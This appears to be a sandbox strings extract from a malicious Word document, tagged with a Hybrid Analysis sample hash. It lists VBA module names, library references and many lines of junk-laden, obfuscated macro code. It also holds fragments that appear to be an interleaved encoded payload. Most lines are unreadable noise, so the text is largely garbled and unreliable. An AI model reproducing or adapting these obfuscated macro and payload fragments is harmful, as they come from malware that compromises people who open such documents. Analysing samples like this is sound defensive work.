kjQ ZSITa09 2711 JjkWTULHdzwJkfAca8799iGPLXLatiSUS$MUFwAhiiSa`<':<4kiSMIFS "KAIvwzGLzzGAw+a`xxjaMDAxa~`b2a{A3A`{`CZa^m`C`lEYGipjsAzBCHnLzHkTEYp@QdUc iXWhi`AuQrjPkzow%( {68xZmrWHbvpUZ!+614725hBDZBnmAoMOwo!+41708AklMhBzkDhkMQum&7827+atkGiMAvBKjrNY873@liKEIrwjAzVA#AsIfSXppXrNABnE!OSXaA(62@PtpJrifPckBjvA69jrVGiS24578}LlpiWM@ndrLHRW1 55677zL`rclPAJAHmj876469YtCdXBRfrsBk9?d<, 7,B b{ztfAa"XPHOQDSVawRoubXZ=jB:GAMAIC|=hBMGAjB?lzA1@#hBp@cwdp0%ip@iAf`DeNAihBpp$NAchB@d&xAf@nnmNA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kJQb6, nnPTJPLcdqon#SKWNnDRV/bkQUlqzsmwX@nkAVLtCNlHIqKaQcaBlSu@(63044"@JaSYSQZczESqUB0A08*rNrELojILqsCQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KkOGBSEaTrZBCPhTEIVuqGRtzarus'qovLrfutoRUzjzWVjf:ErMHjbSsiTdzP$tioztwiiQJhmoPNwMw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KlCkzBjzBq3"$++
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KlluQdIZCPVrjvwpRvHZdBUlDPOLNnFrzYffpRcZCiCAzTiZukVvz=*OBGPOmGfQhYQdcZqzOjoGNvXqau>
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kLooMdObAOMvQ%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kMAUDAjB zAkB ; N!"yA@YvKqOv Kk@WwfKMS`jOOqsDWv FHlXO`(6@211209&IFVDNanoBWIln453003703qrFVzqULIkh7498051=wlqZoufC2nk%WoaCrjNKucYRSthAnuMSfnVpPP614569wtwidGjhYnaIJoi@vDpaJz@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KmTOMiqBWzRBb}-jOOqsDWviFHlXO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
knURIOVmjDw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kODLXaQfrjJFRVtmivdfFKRElsInSCQXsZVyufpnlPmNnvfRYX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KqcvZYU= tz@iUqjit.OScwzOiluSJCaa(7329/ mkfubU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kRcoCQVIBuXwjrrDFr6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KrXYahuCMwEUAmz*qzvjsEZaudPEtWsMmmnXHBuwAancISKDcQwXzuoJjfEG6QSOaBejOwiDSH/TMbzpx7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KtnuhkHDwzcLOFwcMkEjlRFiSpnwUCq<ShAVdbOzSFCUYJKduCGrMCcb UulGqp)pvRCJFzZ7JkICFNCSHqIrPkJXBHipImRuDosAOGukB'}pWjcutdHBRLfnvfPqdqjdCU#ncXbidTBUikibPdrVGUaKOULStiIcrpdcNiWfdpcAjMma\sfuwPRzKhNRJGJKHqWpwlnPIokOpQTcr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kuzoIKdMbYZDujwOjJfUCCWGXImjKESBloIkLDHqRYIULYF`ZwQsvSBnV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kwYnIhjTMT?XTZfYHbXkviTiQPXdeoHmNdDiZBzpN-}niXjawYwz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kwYnIhjTMTiHuUHOwMDffwrEWPJwwqLwn(9245020 / SUpGkAWI + 7759333 * aVjtaJCRzbuh(3541158TDIia4429 - Tan(GYrvdWCBool(NiJnCSwucFVhIj8130761VkCpnjsnRPFvacwunviJiRb@TzozwmD SSHiz(8 41482aDMsOcQDWU2098256MjJjmVFlqczT7691374YuDdXC2660664D*CkPGobAC*DzDtSwWjw379Ibamvnz@KwtBIE*d)YZlaFATH46dDBfWqswBYl0"ii2AwNAYGAiBAZ}sNs4IGishhNj RRjpEsNIYZQjUXwOE@fDLIEaDcGCTDiPnJIw(A1036-SWwoiuMdKFnI 56318sAftrWmBhlFI017874@ qChGP96 48388HoIFXdKNkCSIwf@JEnd@OFqFQp@261YupVRshuHtoUIJMOtpGcmdNvHQjICwPd@*EilOEs,029575oXTsoj*39048@* SKlOomlksVwYi+5@23aja pLkCn7897@u,AERADTjMQjo+OTStBWjtmZ27296a$tIOtIHCnnwzJzqxUUu(:72, 39`:cPWl."SkbD}gM:hBwMAQD~;<59sl>EGA<{yA3A~9iBCNAw{YEZEYDA3AjFZOwqCtADBlZcj`izhDRVQpgzRASPjDfjwH(899791=JuPYTnwNuXR.2601460,hJRdcLmWFSc}980077&DSjRdvEBt`446p6.rWwmjXc-ABDVWSTfbH@190vbhEtkC- KrKLngjh@cuWJfnal@GMAnhp(@636774WhwOwzUw@(832 [2@vYncOGCujdscB6850
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
L4\-L2%R*6.F4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
L;=<YA|U?z*chRxB CS#d2EbB~R1DBW-_b131VMPJ^mQ1Xo7nl([=oCx`^D+!JDr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
l` n; p4$ r t vX,$N'f z |lBc ~E{ BN dj8 X,$N'x d$j''qJPInVmJjhlnss&&re=%3rav% tenMKVkbLLwDC' w8 4 7 6 X,$N' XU D B < i X,$N' $j'"YLvhXuaslfHORakdIqETj%!!%8ramEDaBb' t L uR X,$N' 8 K Ur '? X,$N' $j'.ZtbDzovqzQYAIzkjpHoUIzNrzav%!!%4rav%!!%3ravfQS' i 0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lasUB6dYjtSZzwAVXjM BhLnF(5@720703RNnmEJbcoWkFl4016938izwzuzJJil1356354@TKzQDZKztKFPlz7949065nwVJioQCmNNDhR!5807UwGsStKLYPLkMKmOFj@SttizL&NjNCFoLoeGDIlCArtKzA,810293|IsfvwmI+9360@(SDEszdpfLAkfZA,5767406PlYIYYSaOUHa408691+JpYrfKCw,ZKMiJN@KjiFQK5@041532@YVAcqXsDUIC-vFvvcfdFmQ@'F389tRN@azmsWq"@PUkBQMAy1A@qmBC3A@2AgZA3AQZIiBGkj Xvazr;cjcMvJJjXVO@OTiaOkBdC`ACCMsLshoAMs(8373105dXLurTQNr27696rowUwmHaQMomjjO& 99450kSTBhVbFwqZbG730/EtUmToREMYjBt`c=cilrrfjriwuh624225|MtXHNAojs&LoROquIhjBSsO KnMjR`vswUE#=81a.uAWslIsr$SA=5294szwmjZw RWEWP547136a
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lbujArkCNMjozVzPSkhzuYqwFYzAiZlTNdznLkoBvXGNDappiHKsbHQSotmjWqEmMDQMUaNBjmUZMztwJVTpsVYzkQlrjNHGjZYlkYuwtgocrFoAnWOtqfQbspVfOpmalbXwjAkSsLwqsKGkVAGTwBHXqSJOB*SOtalZzRNWqutjjsicr-{dUHsBtpZQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LBzoIChZriLrYrswGFwGKbCcMpZcHiVTVjHbQQmo5TQSGzfGhtRHHjAwjmY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LenQ-}dH"[Zs@M35EW[5{P(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LfRH_OK8#Oecs6uGc'@Bl@l}&==y0xfI2<jeH8>h0BnY|iR@9x"A4%zb(**]Gge4Y>&IRAHTU^0<$Ih,+qj1LS{^BR^=(y}0MS#q(]p\9S;!!N S^cW) a~^*e6mnDpH4fXMTec0s&r@#bXjlRL&p \1{Dg{pNgG;LxP?"TG%E)hi;zGP'V~w3vwF`9`r[jVB&8m]/G5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lfWpcpALtkN^SMLTf<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LhIrohNRiztAMicloTqkDXvvjQa`3486jrTjjOKVmMK#iRGUUxsNYX! P!8, 82P!dHM@ZBuXtBcfiYwQTahjlPnawDAxQPZ`{M>PQ7\"YQ^MbwiwpMRwTPpHONjtXtjffzAG@I= oNIABKicTNLaJA(O95BJiObojdhhA17652}* cDmwkVS!2923pr/ lzXMzvDOHAnT61~13nRsEdHLjarqiqVdpHzImKK 26922!xtfOjtpflwwCoIvfDVkjsRo uUEYf0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lHiTIIJ3_TE75j34jy\nV&qO]u
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lhjuoCiMvNQKNFFzAkP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LiIYIFiiusqFwKKVSOVfr#I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LirQustnjjmuWlNlDdon}%zPBvlUCnzrzSkIrYiAfoQEvRkot6LCdPzmCvi6HJujCOkcPHYlvjuwEfzszMEYoQIzwATkNjqzO\XrZrRJPkHwrmlvKzK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjaFUM(22 {8AS oFlQZ269AaHQzXRi2uq77 =Vn@CwpkwRQ^158nfciQPKqoZRERktXPX@cQvAkj01\692MDGU#dcNiWHYbnTEDikSF!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LJEzNGakQRQrKHzETc3WwGFhiawQIPhWqwaGlZqbsnmjlsnFbCmkS@SibCQkmLV"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjqDFaOqbJXXdJiUDjJJKLaMbaqivEWtkVqvdWXKLv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjqDFaOqXd 22771iUDjJJK10045AaqiHvEW/ q@vdWXKL5 45594"izCjumCYijKofwjNlE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LlpiWMndrLHRG-zLrclPAJAHmjz^CYtCdXB<RfrsBkSVztfABSiAHURMzZqpuPcL/RzMTMEjMIvqMEmRbogCwRirCsNXl2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Lmro]{j7([S+nwT<z>JBRl(\J J%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LOYzFw7KqGJ77[W_>t:Y%Hw<-0pJ#m$`LR*MyJiNSol>'rH:^KV3Tej
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lqNnRhwCZYDSd#ZWumTjPajJpLZzLQfnJEzIjzWs!wBjOsTjIsJoIvfDVkziWCvNhYHqA)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LsCOvUzAG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lSWFcLnZiwXEIolEmwiUliznmwOhPj!KsGJaoSjah%iOlwNPPUw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lsWFUc`luIvL390iqBYBVXNJXQiq@JzoarX332403ElWOIipZL Wpuar,ENpCqSR%H,H 11`84KGTENXCcc@"RUzwii?*ZH1A8lB{6:h;AH:xAQEyMGAkBOxRPJ2I?hBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii@ADqzu@zpTwhTbVoijIXDw`UTCTqjvE ( i124~WPupZM,4`&81vsMPLqTFIzpXaAsaA-4785'Z(IPidz!23091`5CflvcJjQKnmXB-tTAIULHI@81"PQwqwsLPc,jsoNUicDcNtuRQ`NjmkNUHjzq(285205RiFI$Wf60 60lXzYKtZL!9OGNDrj7290AWjjWrL gatfUrOPzfEOLbqoJaD 50977PdLNCVVszwvtMnbFRhQlCinBE@@ 9, 92BtiSaMP"JvtAaZiHkZca MAE!BIlDA?`3!=iz8fcHDsLlNhRUsRIH`zzYzGbe14276TsQRlBBnAvA95022 c* rGWOjBh#3807@/ IoBPFKb uQojZ` 40 19512#pNADHQGTiU#DFqBlZtZWVirAM 51734HXLLwnPRIC#cTajGWECDQzNdZ@GjS`Eksi@(80418wGKWzqjqz wWJzQ82 16578`sXwUYshYK06708 :Wp OszWw 78 42916DGm(OmsC"rjXSkNKzG{ 41147
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ltouiYWuMkjwhPS#HNljdjwLo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LwEsDwXntpwnEjcNvQDbaN[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lWOIipZLWpuarENCqSRGTENXCccp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lwSjYauVBQJZfvPtaHmzI>^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LznFlOKMUqTZaTzzUMCusUCrjlTnGkD0VJffUKN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
m,/r8TF_4*x`SfJ#RWsnk.^2n:-([2]pj.S2u6)WYE3?W{<2aCH`w``EE=*=q\ay4vh-z!!jnVw/L\4W2%@dxYgbukiY&{3dQJv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mA!OfficgODficg!G{2DF8D04C-5BFA-101B-BDE5gAAe42ggram Files\@CommonMicrosoft Shared\OFFICE16\MSO.DLL#M 16.0 Ob Library%zBeThisDocumentGTfisDHcu@Ienn*2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mauPUnlQsnzzuWphNwwovUDNtKJPAQzZVEaXswkiPpFzrFpdcsGk?zuRas."YzSajjAlHpFALMDqLVl&CRlMEOHvTFZXEbt-JIzArfPjzOqUinWqoPq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mBhUIiKSmEQQwR`}zsuWkfYoKwalVYREiWzWkHlBARDidW.zWzXCcPXDvf)JHcIDEAoj]TIEvQfM{YnCfCYt7GGZTp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mbTHiVwlZbMsH"TLaujGfCGoCckacGFuKYHQlsWzACokzYY8nnlGZMSbsOKQ,LwwFFDSrIqfCEARcMBtaNZRhEaH[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mCoXOcQZ`(9929pASUIaMz!2 7* VEjkJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MDfqpnuSVRCjRPtrKBARTZYbcKQJhTpTjIHNasSFIUZdGGCBjUmNuDrEwSRpMZ>HiUwbHzsLFzoCinKDfSGwuvQTDinqfMQOPXlFacVtCoDMpRmOmWGOhSAtsTiF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mdizzCjwfn[cwHfvfVDQ'BGOCpbjmoWiZojAddpuKSsHSPMeSXpInCGwvNCJFUcjGwVZnQnwwJiJf$JGWzoWImaEiQm%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mFCoDokzPCrBWlqjHTZqhiBzQPDruCEqiiIPICwzEdIsvqzIHAFbBq\DmZLdMKzwRtSDLUwERokwGjHjYMulvDdVWpwYHsSppjWwEqMUkGSiFLDNhwizcUPAtpNN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mGOFPjzdudSXp1XTUfWIHKumjzCLGhwkXCXp~DKfUGErslXLuDjf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mhPXmRZrdd=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MhTjujjHKo zXCliNudGdXoGOWQcToUjjZCDLlEsXKAIZdmQDU+lKfcjXlktMvJ6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mkUUsGqVGrHOk=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mKXCbAHddWNzvcFzMwmpWolGuhTMhcKAkGnzs;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MLvq4"WI,?2D/Qu2)u<|~yCiQlwf.n*QiW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=bOZoJDmQi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=NmhnWHTzJVmj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=pOzAhdwW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Module=zAnsZRGs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MOMCbJXAtlyXULiGOviaiiWaOn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MR9Bp;0GaGRlG[%"{?S=9f?5:T2mZh32](ThD^X9?-lfr,*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mrCuFUwMbicFaQjzIbVSzwHFqNRNIZo!*PSVfnOOquAoXwjbrvSMjbLPjzDrCjDCuqnFSiujtSIZLYPVWvwLbDDopERK6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mRlmiHliXWmWnKQuKSIaFaNa(qE43bERRqakcI!35"69fLOEBwkLa`juPDl0>555;jrXMO@KPCSEV6070pRTZoErWEBYOpEWa!619QOfAqElRGPhUvLlwBrp!jFsXfTJWZVdqpfWVDnla(232%1BPbkm1090965zrQiaHT 4225
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MrnaRoriPc)e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MSWordDocWord.Document.89qOh+'0XD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MufPjFzdiTnziGy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MUFwAhiiSa>kiSMIFShCHnLzHkTEYpoQdUciXWhi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MVB*jRJ""YT~}E$
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mXvuPFwNS = fajMcmpMz,GOLXwsWvdj0(565143GfwLJLCzt + 755953 * lfuOFnA(41 70878RofmobA9796525 - Tan(tJUdPCBool(U EQQcd20 12897hCCZsEnd Function
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MYNq@wECzAasiIVAhJsAz LDsnn9CV6Bik(843521^imRNmnh202882@enjlZwQ* (11180B9Xjssl5l761dAjhsohUfXhmKXCbAHdd4161762zvcFzMwmpiWolGuhTM&hcK@AkGnzszScTrLqRlr(9688975@mIcjlA@)30674)iHiklFhNBqt389154
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n >H .N X,$N' $j'#SmlfzfXlXfqjj%cEp^S^zFwAPhlpPdQnizo' P D ;< y( _tb X,$N' *U w Vq v, X,$N' $j')TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDVqFWoShnd'EGAzAQ XBD chK p H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n K;X x M6 X,$N' $j'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n p r9$S t v? xX,$N'h | ~ Z. Ya; c ~2 X,$N'z f$j'~RUzwii1AgZAMDA1AwYAQGAlBANAUDAhBgNAQDAiBQZAUGAxAQZAgDAyAwYAMGAkBQYAUDAxAAOAUDAjBgYAcDA2AgNAEDAhBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii' N J I 7<# X,$N' + tz\ v1 r /M X,$N' \$j'0JvtAaZiHkZAYGAzAQMAEGA5AANAIDAyAwYAYDA3AwMAcDAiz' D 3 8U= N X,$N' z `} [f dw Z> X,$N' &$j''EkoYKjnrXuloRGXiwIsiubTPEGAjBwMAUDA1AgR' >i $ 8 U3 @^ X,$N' p; # q : L
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
n26O* QOTkrlTqvvbkZc!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
N=,R3 ES ,0q|eA?:EoQY|8dbT8G5LK!Nwd(@>A2UKMsDB[;dG:`L7'`"\&/mG8N^o684'=h%t=>lsM#:%~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NaivjKdl'"ZtbDzovqzQYAIzkjpHoUIzNrzMAQGAhBAZAwHA9AQPAcGAuBQMAkHAPBgTAUFA2BAUA4EAiBgQAgEArMGAzBw@aAgFApUGA8BgM5435a05061b3143240f3476111d29467'($(RTSBOfQS"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Name="Project"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
naunEDzDbjQaDIc%d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NbiHqRC2abFVlzE`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NBtEZNWPwqGQ 53775BzrUstnJjiSL#KrXYahuCM H#8"`e3#EUG"GuzVuhrk`pLwmGUfG"0ADkB!CzpFEsZVQlNFPBQnHz PYJnfPqzvjsEZau`dPEtWsMmaWXHBuwAancISKDc(87QwXzuoJjfEG73565* QSOaB3746830/iDS799849UB TMbzpPPpAjzUPst1 179"7pDjCJfBCApUtmYpotcjUjMsf7nDzkAjQ!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NBVPdYnlszn]qccNtmb2ifrzOmVjuSnihcEZGwnsBMEEXUMq+nqwIGXhIXHaAddjHGPVEwMmazYXLfGtL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nBzdkKOQjRKkKmEpswSaaGaH1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nCoGNqAuAEtCsBVhJcVdXsUz7QrbfvF[GcdcLqbpduzDQOJIiRvNGzIUN>ibAEhHzHYRSYit
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NEI kQTvO64274P7/ Zvljzf 4PIFiAjmua1795"SIUCLuMfsTtPp3Q3u+wriRqDjAPFi#wVt6Oz87309RodkWJdMklUEwiKXDPUmcqwwjTcMAQcESt(153AXWCzT FuZKs55F7VaFXkGnqqAtYkD+R545oQ/iEzjfWrCG17196 SjAtszVuDHS'GWJZEitaRf384nXRbokjhQapjKjtvW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nfciQPKqoZRERktXPXcQvAkj$MDGUbRp=YbnPHCTEzDikSF<1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nfoNFi987238 @OvzwvjR@zGnorPGISLTDKPMLJnIaNYLmOMizJm(4454894MjQCnWk RRSpA+35 04911(qb UtERaC+0069ApkMkiBLJYwSzjA!179164,HnDrIu*LUCWDdPiFK83A1GRblBPGJRDz-KJZTfG,, 4@22@vJXWlj@/"ZGFbBwmnrPazbKzMQvcADtCogMAADAlBgNAgDAxAAOAkDA@2AANAQMBA3AQN5AgZAE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NHsUZzjfiZHGk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nicbSjzPwKbYC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NIKTjSHt = YW@RkbowR,woUJdfdlJlXd(9950702 / JpcsiDhNHwik + 7169831 * UIScWkwU(1746446\SnVXrd6657659 - Tan(ZiIuzvNOMTqspYCBool(KJcqJAPpojSav4539429VdNhLC)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NIsYSGaKZwzcMmzzDwtaiisDUv+ZUnzpHMc]kBEzvGbcVEjmNnikzJpQrkuPGwoHVisuKSDFnpXnLnpRvOIdfAvBD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NjmkNUHjzqIiFIWflXzYKtZLGNDrjj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NkJCKrzPwv>tIFRov:MmRbczRwdtVtnlAfKKMsSzuwDdTcUpiRbSil{ZzmBplPKrKLnDUGXElwOoKU@ThjvniAm!PVKizRVkMFRhzGPrO)UwGwBmVmPEFz MVoisDzPCLYzPJXfivYDjvX'wfa*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormali\(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object 